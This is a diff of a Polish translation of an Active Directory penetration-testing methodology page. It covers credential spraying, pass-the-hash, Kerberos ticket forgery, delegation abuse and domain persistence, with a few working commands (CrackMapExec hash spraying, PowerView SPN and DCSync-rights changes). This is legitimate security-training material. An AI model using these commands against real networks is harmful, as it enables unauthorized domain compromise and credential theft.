Gdy już uzyskasz jakieś poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **maszyny**. W tym celu możesz użyć **CrackMapExec**, aby spróbować połączyć się z kilkoma serwerami różnymi protokołami, zgodnie z twoimi skanami portów.
|
||||
Gdy zdobędziesz poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **machine**. W tym celu możesz użyć **CrackMapExec**, aby spróbować łączyć się z kilkoma serwerami przy użyciu różnych protokołów, zgodnie z wynikami skanowania portów.
|
||||
|
||||
### Lokalne podnoszenie uprawnień
|
||||
### Local Privilege Escalation
|
||||
|
||||
Jeśli masz skompromitowane poświadczenia lub sesję jako zwykły użytkownik domenowy i masz **dostęp** z tym użytkownikiem do **jakiejkolwiek maszyny w domenie**, powinieneś spróbować znaleźć sposób na **podniesienie uprawnień lokalnie i poszukiwanie poświadczeń**. Dzieje się tak, ponieważ tylko z lokalnymi uprawnieniami administratora będziesz w stanie **zrzucić hasze innych użytkowników** w pamięci (LSASS) i lokalnie (SAM).
|
||||
Jeśli masz skompromitowane poświadczenia lub sesję jako zwykły użytkownik domenowy i masz **dostęp** tym kontem do **jakiejkolwiek maszyny w domenie**, powinieneś spróbować znaleźć sposób na **escalate privileges locally i zebranie poświadczeń**. Tylko z uprawnieniami lokalnego administratora będziesz mógł **dump hashes of other users** z pamięci (LSASS) i lokalnie (SAM).
|
||||
|
||||
W tej książce znajduje się pełna strona na temat [**lokalnego podnoszenia uprawnień w Windows**](../windows-local-privilege-escalation/index.html) oraz [**lista kontrolna**](../checklist-windows-privilege-escalation.md). Nie zapomnij również użyć [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
W tej książce jest pełna strona o [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) oraz [**checklist**](../checklist-windows-privilege-escalation.md). Również nie zapomnij użyć [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
### Bilety bieżącej sesji
|
||||
### Current Session Tickets
|
||||
|
||||
Jest bardzo **mało prawdopodobne**, że znajdziesz **bilety** w bieżącym użytkowniku **dającym ci pozwolenie na dostęp** do nieoczekiwanych zasobów, ale możesz sprawdzić:
|
||||
Jest bardzo **mało prawdopodobne**, że znajdziesz w bieżącym użytkowniku **tickets**, które **dają Ci pozwolenie na dostęp** do nieoczekiwanych zasobów, ale możesz sprawdzić:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -212,17 +217,17 @@ Jest bardzo **mało prawdopodobne**, że znajdziesz **bilety** w bieżącym uży
|
||||
```
|
||||
### NTLM Relay
|
||||
|
||||
Jeśli udało Ci się zenumerować aktywną dyrekcję, będziesz miał **więcej e-maili i lepsze zrozumienie sieci**. Możesz być w stanie wymusić ataki NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
|
||||
### Looks for Creds in Computer Shares | SMB Shares
|
||||
|
||||
Teraz, gdy masz kilka podstawowych poświadczeń, powinieneś sprawdzić, czy możesz **znaleźć** jakieś **interesujące pliki udostępnione w AD**. Możesz to zrobić ręcznie, ale to bardzo nudne i powtarzalne zadanie (a jeszcze bardziej, jeśli znajdziesz setki dokumentów, które musisz sprawdzić).
|
||||
Teraz, gdy masz podstawowe credentials powinieneś sprawdzić, czy możesz **znaleźć** jakieś **interesujące pliki udostępnione w AD**. Możesz to zrobić ręcznie, ale to bardzo nudne, powtarzalne zadanie (a tym bardziej, jeśli znajdziesz setki dokumentów, które musisz sprawdzić).
|
||||
|
||||
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### Steal NTLM Creds
|
||||
|
||||
Jeśli możesz **uzyskać dostęp do innych komputerów lub udziałów**, możesz **umieścić pliki** (jak plik SCF), które, jeśli zostaną w jakiś sposób otwarte, **wywołają uwierzytelnienie NTLM przeciwko Tobie**, abyś mógł **ukraść** **wyzwanie NTLM** do złamania:
|
||||
If you can **access other PCs or shares** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -231,7 +236,7 @@ Jeśli możesz **uzyskać dostęp do innych komputerów lub udziałów**, możes
|
||||
|
||||
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
|
||||
|
||||
Ta luka pozwalała każdemu uwierzytelnionemu użytkownikowi na **kompromitację kontrolera domeny**.
|
||||
This vulnerability allowed any authenticated user to **compromise the domain controller**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -240,23 +245,23 @@ printnightmare.md
|
||||
|
||||
## Privilege escalation on Active Directory WITH privileged credentials/session
|
||||
|
||||
**Dla poniższych technik zwykły użytkownik domeny nie wystarczy, potrzebujesz specjalnych uprawnień/poświadczeń, aby przeprowadzić te ataki.**
|
||||
**Dla poniższych technik zwykły użytkownik domeny nie wystarczy — potrzebujesz specjalnych przywilejów/poświadczeń, aby wykonać te ataki.**
|
||||
|
||||
### Hash extraction
|
||||
|
||||
Mam nadzieję, że udało Ci się **skomprymować jakieś konto lokalnego administratora** za pomocą [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) w tym relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
|
||||
Następnie czas na zrzut wszystkich hashy w pamięci i lokalnie.\
|
||||
Miejmy nadzieję, że udało ci się **przejąć jakieś konto local admin** używając [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) włącznie z relayingiem, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
|
||||
Następnie czas zrzucić wszystkie hashe z pamięci i lokalnie.\
|
||||
[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**Gdy masz hash użytkownika**, możesz go użyć do **podszywania się** pod niego.\
|
||||
Musisz użyć jakiegoś **narzędzia**, które **wykona** **uwierzytelnienie NTLM** przy użyciu tego **hasha**, **lub** możesz utworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, aby przy każdym **wykonywaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz.\
|
||||
**Once you have the hash of a user**, you can use it to **impersonate** it.\
|
||||
You need to use some **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does.\
|
||||
[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
Ten atak ma na celu **użycie hasha NTLM użytkownika do żądania biletów Kerberos**, jako alternatywy dla powszechnego Pass The Hash w protokole NTLM. Dlatego może być szczególnie **przydatny w sieciach, w których protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania.
|
||||
This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -265,7 +270,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Pass the Ticket
|
||||
|
||||
W metodzie ataku **Pass The Ticket (PTT)**, atakujący **kradną bilet uwierzytelniający użytkownika** zamiast jego hasła lub wartości hash. Ten skradziony bilet jest następnie używany do **podszywania się pod użytkownika**, uzyskując nieautoryzowany dostęp do zasobów i usług w sieci.
|
||||
In the **Pass The Ticket (PTT)** attack method, attackers **steal a user's authentication ticket** instead of their password or hash values. This stolen ticket is then used to **impersonate the user**, gaining unauthorized access to resources and services within a network.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -274,31 +279,43 @@ pass-the-ticket.md
|
||||
|
||||
### Credentials Reuse
|
||||
|
||||
Jeśli masz **hash** lub **hasło** lokalnego **administratora**, powinieneś spróbować **zalogować się lokalnie** do innych **komputerów** z jego pomocą.
|
||||
If you have the **hash** or **password** of a **local administrato**r you should try to **login locally** to other **PCs** with it.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
> [!WARNING]
|
||||
> Zauważ, że to jest dość **hałaśliwe** i **LAPS** by **złagodzić** to.
|
||||
> Należy pamiętać, że to jest dość **głośne**, a **LAPS** by to **złagodził**.
|
||||
|
||||
### MSSQL Abuse & Trusted Links
|
||||
|
||||
Jeśli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może być w stanie użyć go do **wykonywania poleceń** na hoście MSSQL (jeśli działa jako SA), **ukraść** **hash** NetNTLM lub nawet przeprowadzić **atak** **relay**.\
|
||||
Również, jeśli instancja MSSQL jest zaufana (link bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań również w innej instancji**. Te zaufania mogą być łączone i w pewnym momencie użytkownik może być w stanie znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.\
|
||||
**Linki między bazami danych działają nawet w przypadku zaufania między lasami.**
|
||||
Jeżeli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może ich użyć do **wykonywania poleceń** na hoście MSSQL (jeśli działa jako SA), **wykraść** NetNTLM **hash** lub nawet przeprowadzić **relay** **attack**.\
|
||||
Również, jeśli instancja MSSQL jest zaufana (database link) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań także w drugiej instancji**. Takie zaufania mogą być łańcuchowane i w pewnym momencie użytkownik może znaleźć źle skonfigurowaną bazę danych, w której będzie mógł wykonywać polecenia.\
|
||||
**Połączenia między bazami działają nawet przez forest trusts.**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
### IT asset/deployment platforms abuse
|
||||
|
||||
Zewnętrzne narzędzia do inwentaryzacji i deploymentu często udostępniają potężne ścieżki do poświadczeń i wykonania kodu. Zobacz:
|
||||
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
lansweeper-security.md
|
||||
{{#endref}}
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
Jeśli znajdziesz jakikolwiek obiekt Komputera z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i masz uprawnienia domeny na tym komputerze, będziesz mógł zrzucić TGT z pamięci każdego użytkownika, który loguje się na komputerze.\
|
||||
Więc, jeśli **Domain Admin loguje się na komputerze**, będziesz mógł zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\
|
||||
Dzięki ograniczonej delegacji mógłbyś nawet **automatycznie skompromitować serwer drukarki** (mam nadzieję, że będzie to DC).
|
||||
Jeśli znajdziesz jakikolwiek obiekt Computer z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i masz uprawnienia domenowe na tym komputerze, będziesz w stanie zrzucić TGT z pamięci każdego użytkownika, który się na nim loguje.\
|
||||
Zatem, jeśli **Domain Admin logins onto the computer**, będziesz w stanie zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\
|
||||
Dzięki constrained delegation możesz nawet **automatycznie przejąć Print Server** (oby był to DC).
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -307,8 +324,8 @@ unconstrained-delegation.md
|
||||
|
||||
### Constrained Delegation
|
||||
|
||||
Jeśli użytkownik lub komputer ma zezwolenie na "Ograniczoną Delegację", będzie mógł **podszywać się pod dowolnego użytkownika, aby uzyskać dostęp do niektórych usług na komputerze**.\
|
||||
Następnie, jeśli **skompromitujesz hash** tego użytkownika/komputera, będziesz mógł **podszywać się pod dowolnego użytkownika** (nawet administratorów domeny), aby uzyskać dostęp do niektórych usług.
|
||||
Jeśli użytkownik lub komputer ma włączoną "Constrained Delegation", będzie mógł **podszywać się pod dowolnego użytkownika, aby uzyskać dostęp do niektórych usług na komputerze**.\
|
||||
Następnie, jeśli **skomprujesz hash** tego użytkownika/komputera, będziesz w stanie **podszyć się pod dowolnego użytkownika** (nawet domain admins), aby uzyskać dostęp do niektórych usług.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -326,7 +343,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### Permissions/ACLs Abuse
|
||||
|
||||
Skompromitowany użytkownik może mieć pewne **interesujące uprawnienia do niektórych obiektów domeny**, które mogą pozwolić ci na **lateralne poruszanie się**/**eskalację** uprawnień.
|
||||
Skompromitowany użytkownik może mieć pewne **interesujące uprawnienia do niektórych obiektów domeny**, które pozwolą Ci później **przemieszczać się bocznie**/**eskalować** uprawnienia.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -335,7 +352,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Printer Spooler service abuse
|
||||
|
||||
Odkrycie **usługi Spool** nasłuchującej w domenie może być **wykorzystane** do **zdobycia nowych poświadczeń** i **eskalacji uprawnień**.
|
||||
Odkrycie usługi **Spool nasłuchującej** w domenie może zostać **nadużyte** do **pozyskania nowych poświadczeń** i **eskalacji uprawnień**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -344,8 +361,8 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### Third party sessions abuse
|
||||
|
||||
Jeśli **inni użytkownicy** **uzyskują dostęp** do **skomprmitowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** i nawet **wstrzykiwanie beaconów w ich procesy** w celu podszywania się pod nich.\
|
||||
Zazwyczaj użytkownicy uzyskują dostęp do systemu przez RDP, więc oto jak przeprowadzić kilka ataków na sesje RDP osób trzecich:
|
||||
Jeśli **inni użytkownicy** **uzyskują dostęp** do **skompro-mitowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** i nawet **wstrzykiwanie beaconów do ich procesów**, aby podszyć się pod nich.\
|
||||
Zwykle użytkownicy łączą się z systemem przez RDP, więc tutaj znajdziesz, jak wykonać kilka ataków na sesje RDP osób trzecich:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -354,7 +371,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** zapewnia system zarządzania **hasłem lokalnego administratora** na komputerach dołączonych do domeny, zapewniając, że jest ono **losowe**, unikalne i często **zmieniane**. Te hasła są przechowywane w Active Directory, a dostęp jest kontrolowany przez ACL tylko dla uprawnionych użytkowników. Posiadając wystarczające uprawnienia do uzyskania dostępu do tych haseł, możliwe staje się przejście do innych komputerów.
|
||||
**LAPS** zapewnia system zarządzania **lokalnym Administrator password** na komputerach dołączonych do domeny, zapewniając, że jest on **randomized**, unikalny i często **changed**. Te hasła są przechowywane w Active Directory, a dostęp do nich jest kontrolowany przez ACL dla uprawnionych użytkowników. Mając wystarczające uprawnienia do odczytu tych haseł, możliwe jest pivoting na inne komputery.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -363,7 +380,7 @@ laps.md
|
||||
|
||||
### Certificate Theft
|
||||
|
||||
**Zbieranie certyfikatów** z skompromitowanej maszyny może być sposobem na eskalację uprawnień w środowisku:
|
||||
**Zgromadzenie certyfikatów** z zaatakowanej maszyny może być sposobem na eskalację uprawnień w środowisku:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -372,41 +389,41 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Certificate Templates Abuse
|
||||
|
||||
Jeśli **wrażliwe szablony** są skonfigurowane, możliwe jest ich wykorzystanie do eskalacji uprawnień:
|
||||
Jeśli skonfigurowane są **vulnerable templates**, można je nadużyć do eskalacji uprawnień:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
{{#endref}}
|
||||
{{#endref}
|
||||
|
||||
## Post-exploitation with high privilege account
|
||||
|
||||
### Dumping Domain Credentials
|
||||
|
||||
Gdy uzyskasz uprawnienia **Domain Admin** lub jeszcze lepiej **Enterprise Admin**, możesz **zrzucić** **bazę danych domeny**: _ntds.dit_.
|
||||
Gdy zdobędziesz uprawnienia **Domain Admin** lub jeszcze lepiej **Enterprise Admin**, możesz **zrzucić** **bazę domeny**: _ntds.dit_.
|
||||
|
||||
[**Więcej informacji na temat ataku DCSync można znaleźć tutaj**](dcsync.md).
|
||||
[**More information about DCSync attack can be found here**](dcsync.md).
|
||||
|
||||
[**Więcej informacji na temat kradzieży NTDS.dit można znaleźć tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
[**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Privesc as Persistence
|
||||
|
||||
Niektóre z wcześniej omawianych technik mogą być używane do utrzymania.\
|
||||
Niektóre z wcześniej omówionych technik mogą być użyte do utrzymania dostępu.\
|
||||
Na przykład możesz:
|
||||
|
||||
- Uczynić użytkowników podatnymi na [**Kerberoast**](kerberoast.md)
|
||||
- Make users vulnerable to [**Kerberoast**](kerberoast.md)
|
||||
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
|
||||
```
|
||||
|
||||
- Uczynić użytkowników podatnymi na [**ASREPRoast**](asreproast.md)
|
||||
- Make users vulnerable to [**ASREPRoast**](asreproast.md)
|
||||
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
|
||||
- Przyznać uprawnienia [**DCSync**](#dcsync) użytkownikowi
|
||||
- Grant [**DCSync**](#dcsync) privileges to a user
|
||||
|
||||
```bash
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
@ -414,7 +431,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
Atak **Silver Ticket** tworzy **legitymację Ticket Granting Service (TGS)** dla konkretnej usługi, używając **hasha NTLM** (na przykład, **hasha konta PC**). Metoda ta jest stosowana do **uzyskania dostępu do uprawnień usługi**.
|
||||
Atak **Silver Ticket** tworzy legalny Ticket Granting Service (TGS) dla konkretnej usługi, używając **NTLM hash** (na przykład **hash** konta PC). Ta metoda jest stosowana, aby uzyskać **dostęp do przywilejów usługi**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -423,9 +440,9 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
Atak **Golden Ticket** polega na tym, że atakujący uzyskuje dostęp do **hasha NTLM konta krbtgt** w środowisku Active Directory (AD). To konto jest specjalne, ponieważ jest używane do podpisywania wszystkich **Ticket Granting Tickets (TGT)**, które są niezbędne do uwierzytelniania w sieci AD.
|
||||
Atak **Golden Ticket** polega na uzyskaniu przez atakującego dostępu do **NTLM hash** konta krbtgt w środowisku Active Directory (AD). To konto jest specjalne, ponieważ służy do podpisywania wszystkich **Ticket Granting Tickets (TGTs)**, które są niezbędne do uwierzytelniania w sieci AD.
|
||||
|
||||
Gdy atakujący uzyska ten hash, może stworzyć **TGT** dla dowolnego konta, które wybierze (atak Silver ticket).
|
||||
Gdy atakujący zdobędzie ten **hash**, może tworzyć **TGTs** dla dowolnego konta, które wybierze (atak Silver ticket).
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -434,7 +451,7 @@ golden-ticket.md
|
||||
|
||||
### Diamond Ticket
|
||||
|
||||
Te są jak złote bilety, fałszowane w sposób, który **omija powszechne mechanizmy wykrywania złotych biletów.**
|
||||
Są to podobne do golden tickets, sfałszowane w taki sposób, że **omijają powszechne mechanizmy wykrywania golden tickets.**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -443,7 +460,7 @@ diamond-ticket.md
|
||||
|
||||
### **Certificates Account Persistence**
|
||||
|
||||
**Posiadanie certyfikatów konta lub możliwość ich żądania** to bardzo dobry sposób na utrzymanie się w koncie użytkownika (nawet jeśli zmieni hasło):
|
||||
**Posiadanie certyfikatów konta lub możliwość ich żądania** to bardzo dobry sposób na utrzymanie dostępu do konta użytkownika (nawet jeśli użytkownik zmieni hasło):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -452,7 +469,7 @@ ad-certificates/account-persistence.md
|
||||
|
||||
### **Certificates Domain Persistence**
|
||||
|
||||
**Używanie certyfikatów również umożliwia utrzymanie się z wysokimi uprawnieniami w domenie:**
|
||||
**Używanie certyfikatów umożliwia również utrzymanie się z wysokimi uprawnieniami wewnątrz domeny:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -461,13 +478,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder Group
|
||||
|
||||
Obiekt **AdminSDHolder** w Active Directory zapewnia bezpieczeństwo **uprzywilejowanych grup** (takich jak Domain Admins i Enterprise Admins) poprzez zastosowanie standardowej **Listy Kontroli Dostępu (ACL)** w tych grupach, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być wykorzystana; jeśli atakujący zmodyfikuje ACL AdminSDHolder, aby dać pełny dostęp zwykłemu użytkownikowi, ten użytkownik zyskuje znaczne kontrolę nad wszystkimi uprzywilejowanymi grupami. To zabezpieczenie, mające na celu ochronę, może więc obrócić się przeciwko, umożliwiając nieuzasadniony dostęp, chyba że jest ściśle monitorowane.
|
||||
Obiekt **AdminSDHolder** w Active Directory zapewnia bezpieczeństwo **uprzywilejowanych grup** (jak Domain Admins i Enterprise Admins) przez zastosowanie standardowego **Access Control List (ACL)** dla tych grup, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być wykorzystana; jeśli atakujący zmodyfikuje ACL AdminSDHolder, przyznając pełny dostęp zwykłemu użytkownikowi, użytkownik ten zyskuje rozległą kontrolę nad wszystkimi uprzywilejowanymi grupami. Ten mechanizm bezpieczeństwa, mający chronić, może więc działać przeciwko celowi, umożliwiając nieuzasadniony dostęp chyba że jest ściśle monitorowany.
|
||||
|
||||
[**Więcej informacji o grupie AdminDSHolder tutaj.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### DSRM Credentials
|
||||
|
||||
W każdym **Domain Controller (DC)** istnieje konto **lokalnego administratora**. Uzyskując prawa administratora na takiej maszynie, hash lokalnego administratora może być wyodrębniony za pomocą **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **włączyć użycie tego hasła**, co pozwala na zdalny dostęp do konta lokalnego administratora.
|
||||
W każdym **Domain Controller (DC)** istnieje lokalne konto administratora. Uzyskując prawa admina na takiej maszynie, hash lokalnego Administratora można wyodrębnić przy użyciu **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **umożliwić użycie tego hasła**, co pozwala na zdalny dostęp do konta lokalnego Administratora.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -476,7 +493,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL Persistence
|
||||
|
||||
Możesz **przyznać** pewne **specjalne uprawnienia** użytkownikowi do niektórych konkretnych obiektów domeny, które pozwolą użytkownikowi **eskalować uprawnienia w przyszłości**.
|
||||
Możesz **nadać** pewne **specjalne uprawnienia** użytkownikowi do określonych obiektów domeny, które pozwolą temu użytkownikowi **eskalować uprawnienia w przyszłości**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -485,7 +502,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Security Descriptors
|
||||
|
||||
**Deskriptory bezpieczeństwa** są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **nad** innym **obiektem**. Jeśli możesz **dokonać** **małej zmiany** w **deskriptorze bezpieczeństwa** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez potrzeby bycia członkiem uprzywilejowanej grupy.
|
||||
Security descriptors są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **nad** innym **obiektem**. Jeśli możesz dokonać nawet **niewielkiej zmiany** w **security descriptor** obiektu, możesz uzyskać bardzo interesujące uprawnienia do tego obiektu bez konieczności bycia członkiem uprzywilejowanej grupy.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -494,7 +511,7 @@ security-descriptors.md
|
||||
|
||||
### Skeleton Key
|
||||
|
||||
Zmień **LSASS** w pamięci, aby ustanowić **uniwersalne hasło**, dając dostęp do wszystkich kont domenowych.
|
||||
Zmodyfikuj **LSASS** w pamięci, aby ustawić **uniwersalne hasło**, przyznające dostęp do wszystkich kont domeny.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -503,8 +520,8 @@ skeleton-key.md
|
||||
|
||||
### Custom SSP
|
||||
|
||||
[Dowiedz się, czym jest SSP (Security Support Provider) tutaj.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Możesz stworzyć **własne SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do uzyskania dostępu do maszyny.
|
||||
[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Możesz stworzyć własny **SSP**, aby przechwytywać poświadczenia w **clear text** używane do uzyskania dostępu do maszyny.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -513,8 +530,8 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
Rejestruje **nowy kontroler domeny** w AD i używa go do **wypychania atrybutów** (SIDHistory, SPNs...) na określonych obiektach **bez** pozostawiania jakichkolwiek **logów** dotyczących **zmian**. Musisz mieć uprawnienia DA i być w **domenie głównej**.\
|
||||
Zauważ, że jeśli użyjesz błędnych danych, pojawią się dość brzydkie logi.
|
||||
Rejestruje **nowy Domain Controller** w AD i używa go do **pushowania atrybutów** (SIDHistory, SPNs...) na wskazane obiekty **bez** pozostawiania jakichkolwiek **logów** dotyczących **modyfikacji**. Potrzebujesz uprawnień **DA** i musisz być w **root domain**.\
|
||||
Uwaga: jeśli użyjesz nieprawidłowych danych, pojawią się dość brzydkie logi.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -523,7 +540,7 @@ dcshadow.md
|
||||
|
||||
### LAPS Persistence
|
||||
|
||||
Wcześniej omawialiśmy, jak eskalować uprawnienia, jeśli masz **wystarczające uprawnienia do odczytu haseł LAPS**. Jednak te hasła mogą być również używane do **utrzymania się**.\
|
||||
Wcześniej omówiliśmy, jak eskalować uprawnienia, jeśli masz wystarczające uprawnienia do odczytu haseł **LAPS**. Jednak te hasła mogą być również wykorzystane do **utrzymania persystencji**.\
|
||||
Sprawdź:
|
||||
|
||||
|
||||
@ -533,62 +550,62 @@ laps.md
|
||||
|
||||
## Forest Privilege Escalation - Domain Trusts
|
||||
|
||||
Microsoft postrzega **Las** jako granicę bezpieczeństwa. Oznacza to, że **skomprmitowanie jednej domeny może potencjalnie prowadzić do skompromitowania całego Lasu**.
|
||||
Microsoft traktuje **Forest** jako granicę bezpieczeństwa. To oznacza, że **kompromitacja pojedynczej domeny może potencjalnie prowadzić do kompromitacji całego Forest**.
|
||||
|
||||
### Basic Information
|
||||
|
||||
[**Zaufanie domeny**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm bezpieczeństwa, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. W zasadzie tworzy to powiązanie między systemami uwierzytelniania obu domen, umożliwiając płynne przepływy weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i zachowują określone **klucze** w swoich **Kontrolerach Domeny (DC)**, które są kluczowe dla integralności zaufania.
|
||||
